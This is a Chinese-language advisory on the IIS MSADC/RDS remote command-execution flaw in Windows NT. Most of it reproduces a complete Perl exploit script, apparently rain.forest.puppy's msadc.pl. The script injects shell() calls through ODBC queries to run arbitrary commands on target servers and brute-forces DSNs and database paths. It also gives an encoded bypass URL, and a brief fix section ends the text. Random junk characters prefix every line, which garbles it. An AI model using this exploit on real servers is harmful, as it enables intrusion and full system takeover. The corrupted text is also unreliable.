IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
H]XY \k69 S/O 涉及程序:
b?~%u+'3 Microsoft NT server
3~mi -/O_wqm# 描述:
^lp#j;Df 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
nhm)P_p ? V0!N; 详细:
y]veqa 如果你没有时间读详细内容的话,就删除:
3wQUNv0z c:\Program Files\Common Files\System\Msadc\msadcs.dll
2{sx"/k\A 有关的安全问题就没有了。
^=lh|C\# rv\yS:2 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
D V !ibdw_H 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
g2&%bNQ-5 关于利用ODBC远程漏洞的描述,请参看:
\:To>A32 tlnU2TT_f http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm %}nNwuJ _8f?
H#& 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
VT;Vm3\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp d*e0/#s d\_$Nb* 这里不再论述。
z~S(OM@olJ b85r=tm 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
zB?} {@ p:GB"e9>H /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
LL}|#%4d 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
r}1.=a xxsax/h 7l%]/`Y- #将下面这段保存为txt文件,然后: "perl -x 文件名"
_Prh&Q1zs srh>"
2." #!perl
nI_43rG:Uf #
sr=~Uq{g # MSADC/RDS 'usage' (aka exploit) script
M$9?{8m #
m~#f L # by rain.forest.puppy
( 2oP=9m #
Ju"*;/ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
%l#i9$s # beta test and find errors!
T;f`ND2fY 94>EA/+Ek use Socket; use Getopt::Std;
i1OF@~? getopts("e:vd:h:XR", \%args);
E=-ed9({: cQ?eL,z print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
tTMYqgzUk O)$rC if (!defined $args{h} && !defined $args{R}) {
N}j]S{j}' print qq~
-8r';zR Usage: msadc.pl -h <host> { -d <delay> -X -v }
&7i o/d\/ -h <host> = host you want to scan (ip or domain)
s?:&# -d <seconds> = delay between calls, default 1 second
c,K)*HB -X = dump Index Server path table, if available
Zt;dPYq> -v = verbose
Q(3Na 6 -e = external dictionary file for step 5
%a_ rYrL w=ib@_:f Or a -R will resume a command session
8,0WHivg |[RoR ~; exit;}
YPV@/n[N /Vg=+FEO $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
eNwF<0} if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
~6)A/]6 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Mx3MNX/ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
7O=N78M $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
bp>-{Nv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;yvx - !R;NV|.eI6 if (!defined $args{R}){ $ret = &has_msadc;
O7M8!3Eqm die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
``zgw\f[% #GJ{@C3H8Q print "Please type the NT commandline you want to run (cmd /c assumed):\n"
?YeUA =[MC . "cmd /c ";
eWgqds $in=<STDIN>; chomp $in;
GQ@`qYLZ+ $command="cmd /c " . $in ;
j.?c~Fh al<;*n{/ if (defined $args{R}) {&load; exit;}
>{seaihK OzVCqq"] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
H'Oy._,]t &try_btcustmr;
)}/ ycTs EDl*UG83G print "\nStep 2: Trying to make our own DSN...";
u["3| `C5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
%`M IGi# wNk 0F7Ck print "\nStep 3: Trying known DSNs...";
9_h
V1: &known_dsn;
_V.MmA (mNNTMe print "\nStep 4: Trying known .mdbs...";
0:CIM &known_mdb;
a7]wPXKq nRE(RbRe if (defined $args{e}){
Q.]$t
2J print "\nStep 5: Trying dictionary of DSN names...";
s9Tp(Yr,k &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
""; Bq*Y# nmH1Wg*aW print "Sorry Charley...maybe next time?\n";
sRMz[n5k exit;
!T'`L{Sj +;T `uOF} ##############################################################################
&}:]uC ;*H@E(g sub sendraw { # ripped and modded from whisker
D?Mj<|| sleep($delay); # it's a DoS on the server! At least on mine...
hR g?H my ($pstr)=@_;
/:+f5\"-b socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
fLtN-w6t die("Socket problems\n");
vj_[LFE if(connect(S,pack "SnA4x8",2,80,$target)){
s U|\? pJ select(S); $|=1;
M_OvIU(E print $pstr; my @in=<S>;
cbton<r~ select(STDOUT); close(S);
?ufX3yia return @in;
pL&
Zcpx } else { die("Can't connect...\n"); }}
`GBa3 '4"9f]: ##############################################################################
`X:o]t@ } xy>uT sub make_header { # make the HTTP request
? ZqvR^ my $msadc=<<EOT
P[G.LO POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Asy&X User-Agent: ACTIVEDATA
"CX@a" Host: $ip
|=o)|z2 Content-Length: $clen
L&I8lG Connection: Keep-Alive
I*SrKZb :rBPgrt ADCClientVersion:01.06
U5iyvU=UG Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
j_\?ampF MR?5p8S#g --!ADM!ROX!YOUR!WORLD!
5Al1u|;HB Content-Type: application/x-varg
N4xCZb Content-Length: $reqlen
1@i|[dq H;~Lv;,g, EOT
|#Gug(' ; $msadc=~s/\n/\r\n/g;
F=B[%4q`% return $msadc;}
(/^s?`1{N? ?f8)_t}^\ ##############################################################################
=^9I)JW v<_wf sub make_req { # make the RDS request
&P0jRT3e#Y my ($switch, $p1, $p2)=@_;
v>[U*E my $req=""; my $t1, $t2, $query, $dsn;
w
YEkWB^ &c|3v! if ($switch==1){ # this is the btcustmr.mdb query
4X1!t $query="Select * from Customers where City=" . make_shell();
vOIzfwYG9 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
-K@mjN $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
LwI A4$d O-=~Bn
_ elsif ($switch==2){ # this is general make table query
\C&[BQ\ $query="create table AZZ (B int, C varchar(10))";
OpNxd]"T $dsn="$p1";}
DO^J=e GBvgVX< elsif ($switch==3){ # this is general exploit table query
ROWI.| $query="select * from AZZ where C=" . make_shell();
N|N#- $dsn="$p1";}
s2X<b
` S#:yl>2 elsif ($switch==4){ # attempt to hork file info from index server
TpSv7k T] $query="select path from scope()";
-r'/PbV0 $dsn="Provider=MSIDXS;";}
m-v0=+~& v|7=IJ elsif ($switch==5){ # bad query
XaxM$ $query="select";
4pJ #fkc^ $dsn="$p1";}
Bn<1zg5 "8-;Dq'+ $t1= make_unicode($query);
9K6G% $t2= make_unicode($dsn);
@~+W $req = "\x02\x00\x03\x00";
*M]@}'N $req.= "\x08\x00" . pack ("S1", length($t1));
jR_o!n~5 $req.= "\x00\x00" . $t1 ;
#$^vP/"$ $req.= "\x08\x00" . pack ("S1", length($t2));
Qf
.ASC $req.= "\x00\x00" . $t2 ;
,O'#7Dj $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
0# d:<+4D return $req;}
l(<=JUO; 6 6%_p]U ##############################################################################
m+a\NXWR?N l} =@9A@ sub make_shell { # this makes the shell() statement
6SqS\ 8 return "'|shell(\"$command\")|'";}
LK}*k/eG &*nq.l76X` ##############################################################################
+@"Ls P e*!0|#- sub make_unicode { # quick little function to convert to unicode
0^m`jD my ($in)=@_; my $out;
~ubcD6f for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
DmA~Vj!a^y return $out;}
N+9W2n ?s-Z3{k ##############################################################################
5{Oq* | wR%F>[6.{ sub rdo_success { # checks for RDO return success (this is kludge)
DCheG7lo{ my (@in) = @_; my $base=content_start(@in);
s$wIL//= if($in[$base]=~/multipart\/mixed/){
;]PP+h return 1 if( $in[$base+10]=~/^\x09\x00/ );}
v(`9+* return 0;}
1Uaj}=@M 5@-[[ $dk ##############################################################################
>3qfo2K0 csd~)a nb sub make_dsn { # this makes a DSN for us
GD-cP5$ my @drives=("c","d","e","f");
Zn{Y+ce7d print "\nMaking DSN: ";
]=Dzr<*v foreach $drive (@drives) {
?glK~G!i print "$drive: ";
hR+\,P#G[ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
wV\.NQtS "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
U^&,xz$Cg . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
m 5_ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
^B!cL~S*I return 0 if $2 eq "404"; # not found/doesn't exist
)#Le"&D if($2 eq "200") {
8-&c%h
1 foreach $line (@results) {
Ef]<0Tm]: return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
6.'j\ } return 0;}
bP)(4+t~ RA$%3L[A! ##############################################################################
c2RQwtN| 5XzN%<_h9 sub verify_exists {
d2U+%%Tdw my ($page)=@_;
L&,&SDr my @results=sendraw("GET $page HTTP/1.0\n\n");
Fxx-2(U return $results[0];}
PY76;D*` 0Lx,qZ' ##############################################################################
E'cI} q o6/"IIso3 sub try_btcustmr {
<5]ufv my @drives=("c","d","e","f");
gjL+8Rk my @dirs=("winnt","winnt35","winnt351","win","windows");
0CpE,gg =fcM2O#$ foreach $dir (@dirs) {
v
vzP t.ag print "$dir -> "; # fun status so you can see progress
Xx+eGV";` foreach $drive (@drives) {
(&!RX.i print "$drive: "; # ditto
Kn*LwWne $reqlen=length( make_req(1,$drive,$dir) ) - 28;
5kik+ $reqlenlen=length( "$reqlen" );
&Sdf0" $clen= 206 + $reqlenlen + $reqlen;
TFG0~"4Cz 7tP
qez# my @results=sendraw(make_header() . make_req(1,$drive,$dir));
qO RL
7?{ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
v83@J~ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Eyq4w ~$jRn(2 ##############################################################################
H{4_,2h=m
:SD#>eD0 sub odbc_error {
"DC L
Z my (@in)=@_; my $base;
g-4j1yJV< my $base = content_start(@in);
JI[{n~bhGD if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
M)"'Q6ck= $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@gnLY $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jR2^n`D $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
O~#A )d6 return $in[$base+4].$in[$base+5].$in[$base+6];}
HV=P!v6 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
1$)}EL print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
&d_2WQ} $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
sH.,O9'r JLak>MS ##############################################################################
gx.\&W b Jbn^G7vH<6 sub verbose {
&Lbh?C my ($in)=@_;
*|as-!${k return if !$verbose;
<8ih >s(C print STDOUT "\n$in\n";}
`Jj q5:\& RqKkB8g ##############################################################################
i<{:J -U| fb[? sc sub save {
b#(X+I my ($p1, $p2, $p3, $p4)=@_;
tTbfyI open(OUT, ">rds.save") || print "Problem saving parameters...\n";
UCo`l~K)qg print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Z]XjN@j" close OUT;}
~7wLnB wlFK#iK ##############################################################################
&N*l ?7( c"diNbm[ sub load {
;]l`Q,*OXb my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
"^oU&]KQJ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
cI'su? @p=<IN>; close(IN);
+y^'\KN $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
#x6EZnG $target= inet_aton($ip) || die("inet_aton problems");
ct@3] print "Resuming to $ip ...";
XzBlT( `w $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
#sE:xIR if($p[1]==1) {
#y
f $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
&ZL4/e $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
G2&,R{L6w my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
}yaM.+8. if (rdo_success(@results)){print "Success!\n";}
N , ,[V
else { print "failed\n"; verbose(odbc_error(@results));}}
30YH}b#B elsif ($p[1]==3){
>avkiT2 if(run_query("$p[3]")){
X]_9g[V print "Success!\n";} else { print "failed\n"; }}
u{cb[M elsif ($p[1]==4){
xYY^tZIV if(run_query($drvst . "$p[3]")){
'=(D7F; print "Success!\n"; } else { print "failed\n"; }}
8Oa+,?<0x exit;}
@<yY Mo7 .I]EP- ##############################################################################
%<|cWYM="z s_3a#I sub create_table {
B r6tgoA my ($in)=@_;
%@8#+#@J0 $reqlen=length( make_req(2,$in,"") ) - 28;
C@g/{?\ $reqlenlen=length( "$reqlen" );
1'H!S%fS $clen= 206 + $reqlenlen + $reqlen;
QT=i>X my @results=sendraw(make_header() . make_req(2,$in,""));
G!Yt.M0 return 1 if rdo_success(@results);
.O SQ8W} my $temp= odbc_error(@results); verbose($temp);
o$ #q/L return 1 if $temp=~/Table 'AZZ' already exists/;
t$b5,"G1 return 0;}
b3ys"Vyn Z>~7|vl ##############################################################################
,/"0tP&_; p!EG:B4 sub known_dsn {
Z=
=c3~ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
|Yv,zEY) my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
l=L(pS3 ~ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
2Vs+8/ "banner", "banners", "ads", "ADCDemo", "ADCTest");
o1k+dJUd .hjN*4RY
foreach $dSn (@dsns) {
xwj{4fzpk{ print ".";
`)>}b 3 next if (!is_access("DSN=$dSn"));
0./Rdf=-1j if(create_table("DSN=$dSn")){
iI;np+uYk print "$dSn successful\n";
w,j;XPp if(run_query("DSN=$dSn")){
,hZ?]P& print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
y(O~=S+< print "Something's borked. Use verbose next time\n";}}} print "\n";}
wScr:o+K>L rH'|$~a ##############################################################################
B>[myx ^\r{72!y sub is_access {
tF\_AvL_8 my ($in)=@_;
ANfy+@ $reqlen=length( make_req(5,$in,"") ) - 28;
iu$Y0.H@ $reqlenlen=length( "$reqlen" );
nd[Ja_h $clen= 206 + $reqlenlen + $reqlen;
l5D4?`| my @results=sendraw(make_header() . make_req(5,$in,""));
GcG$>&, my $temp= odbc_error(@results);
`/9I` <y verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Cq[Hh#q return 0;}
4ves|pLET j=c< Lo` ##############################################################################
$W9dUR0 a*t>Ks'C sub run_query {
LYiIJAZ. my ($in)=@_;
D~M*]& $reqlen=length( make_req(3,$in,"") ) - 28;
|E;+j\ $reqlenlen=length( "$reqlen" );
0U !&|i\ $clen= 206 + $reqlenlen + $reqlen;
-j@IDd7 my @results=sendraw(make_header() . make_req(3,$in,""));
GiKhdy return 1 if rdo_success(@results);
""m/?TZq' my $temp= odbc_error(@results); verbose($temp);
0<##8m@F8 return 0;}
'Er\68 v5&W)F ##############################################################################
KL*+gq0k ce*?crOV sub known_mdb {
Kw2]J)TO my @drives=("c","d","e","f","g");
p.H`lbVY my @dirs=("winnt","winnt35","winnt351","win","windows");
$j\jT my $dir, $drive, $mdb;
]=59_bkD:s my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
5H, (\Xd %-BwK # this is sparse, because I don't know of many
aimf,(+ my @sysmdbs=( "\\catroot\\icatalog.mdb",
[[xnp;-; "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
g?K? Fn.} "\\system32\\certmdb.mdb",
Gyrc~m[$ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
*$3p3- $M~`)UeV_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
F"QJ)F "\\cfusion\\cfapps\\forums\\forums_.mdb",
c=^69>w "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
BU7QK_zT: "\\cfusion\\cfapps\\security\\realm_.mdb",
B1]FB|0's "\\cfusion\\cfapps\\security\\data\\realm.mdb",
=1xVw5^F "\\cfusion\\database\\cfexamples.mdb",
Cq3Au%7 "\\cfusion\\database\\cfsnippets.mdb",
cQsSJBZ[v5 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
]:m4~0^#-( "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
MP.ye|i4Q "\\cfusion\\brighttiger\\database\\cleam.mdb",
Kjpsz] ; "\\cfusion\\database\\smpolicy.mdb",
,XI=e= "\\cfusion\\database\cypress.mdb",
g4{0 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
F~~9/# "\\website\\cgi-win\\dbsample.mdb",
F%4N/e'L "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
#B
q|^:nj "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
G&`5o*).bb ); #these are just
C
=B a|Z foreach $drive (@drives) {
@, AB2D foreach $dir (@dirs){
rv<qze;?| foreach $mdb (@sysmdbs) {
Kzy9i/bL print ".";
tK
`A_hC if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
R]RLy#j print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
19RbIG/X if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
;F"Tu print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
~}SQLYy7Z } else { print "Something's borked. Use verbose next time\n"; }}}}}
2/Y e<.# (cI@#x foreach $drive (@drives) {
wM#l`I foreach $mdb (@mdbs) {
3>=G-AH/$K print ".";
SpOSUpl% if(create_table($drv . $drive . $dir . $mdb)){
%e_){28 n print "\n" . $drive . $dir . $mdb . " successful\n";
+;Gvp=hk if(run_query($drv . $drive . $dir . $mdb)){
e@&2q{Gi= print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Z-M4J;J@} } else { print "Something's borked. Use verbose next time\n"; }}}}
2wgcVQ
Awa }
1_StgFu u "{d[V(lE" ##############################################################################
[4@@b"H 8ZJ6~~h sub hork_idx {
Z=<D` print "\nAttempting to dump Index Server tables...\n";
K6@ %@v print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
FI)0.p $reqlen=length( make_req(4,"","") ) - 28;
!!mGsgnW $reqlenlen=length( "$reqlen" );
F5M{`:/ $clen= 206 + $reqlenlen + $reqlen;
8%xiHPVg my @results=sendraw2(make_header() . make_req(4,"",""));
~H"-km"@ if (rdo_success(@results)){
ey\(*Tu9 my $max=@results; my $c; my %d;
?,C'\8' for($c=19; $c<$max; $c++){
f9hH{(A $results[$c]=~s/\x00//g;
Ri}JM3\J $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
;!OME*?m< $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
]iZ-MG)J $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
;<%d^ $d{"$1$2"}="";}
PWyFys foreach $c (keys %d){ print "$c\n"; }
+eop4 |Z } else {print "Index server doesn't seem to be installed.\n"; }}
y+izC+ A2Iqn5 ##############################################################################
g91xUG ZS@R ? sub dsn_dict {
I;9DG8C&v* open(IN, "<$args{e}") || die("Can't open external dictionary\n");
JD AX^] while(<IN>){
`_"?$ v2F $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
C\|HN=2eh next if (!is_access("DSN=$dSn"));
2d<`dQY{l3 if(create_table("DSN=$dSn")){
Xob(4 print "$dSn successful\n";
D2io3Lo$ov if(run_query("DSN=$dSn")){
}/g1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
v[a4d&P print "Something's borked. Use verbose next time\n";}}}
ZB5NTNf> print "\n"; close(IN);}
u!b0<E 3ZvQUH/{W ##############################################################################
v{8r46Y~Z) maV*+!\ sub sendraw2 { # ripped and modded from whisker
a`Q-5*\;z sleep($delay); # it's a DoS on the server! At least on mine...
SL_JA my ($pstr)=@_;
Ppx 4#j socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
jtqU`|FSQ die("Socket problems\n");
pwF])uf*{\ if(connect(S,pack "SnA4x8",2,80,$target)){
Hq,NOP print "Connected. Getting data";
nQn=zbZ3 open(OUT,">raw.out"); my @in;
9A}y^=!` select(S); $|=1; print $pstr;
Xj:\B] v] while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
'%a:L^a? close(OUT); select(STDOUT); close(S); return @in;
nzU0=w}V } else { die("Can't connect...\n"); }}
HLh]*tQG lvUWs ##############################################################################
s##XC^;p[ T'N/A9{q sub content_start { # this will take in the server headers
gpCWXz')i my (@in)=@_; my $c;
&@qB6!^ for ($c=1;$c<500;$c++) {
V~t;
J if($in[$c] =~/^\x0d\x0a/){
c{jTCkzq if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
"2T* w~V&y else { return $c+1; }}}
0 Gq<APtr return -1;} # it should never get here actually
&*~_ "WyU ^n\g, ##############################################################################
#Q|ACNpYM <,9rXjeRl sub funky {
VxU{ZD~<Z" my (@in)=@_; my $error=odbc_error(@in);
,~NJ}4wP if($error=~/ADO could not find the specified provider/){
.;&4'ga4 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
,@Elw>^ exit;}
!ed0 if($error=~/A Handler is required/){
B5]nP .R print "\nServer has custom handler filters (they most likely are patched)\n";
jW}hLjlN exit;}
CR-2>,*a9 if($error=~/specified Handler has denied Access/){
F5\{` print "\nServer has custom handler filters (they most likely are patched)\n";
^YEMR C exit;}}
GEki34
n0 i\RB KF ##############################################################################
2JHV*/Q 0EC/l
OS sub has_msadc {
Vj[,o
Vt$ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
i\{fM}~W$ my $base=content_start(@results);
SqoO"(1x return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
eW[](lGWM return 0;}
?6:e%YT jf&
oN]sZ ########################
m .^WSy ~vfPsaRh M7neOQHq 解决方案:
ket"fXqJX 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
U#4>GO;A 2、移除web 目录: /msadc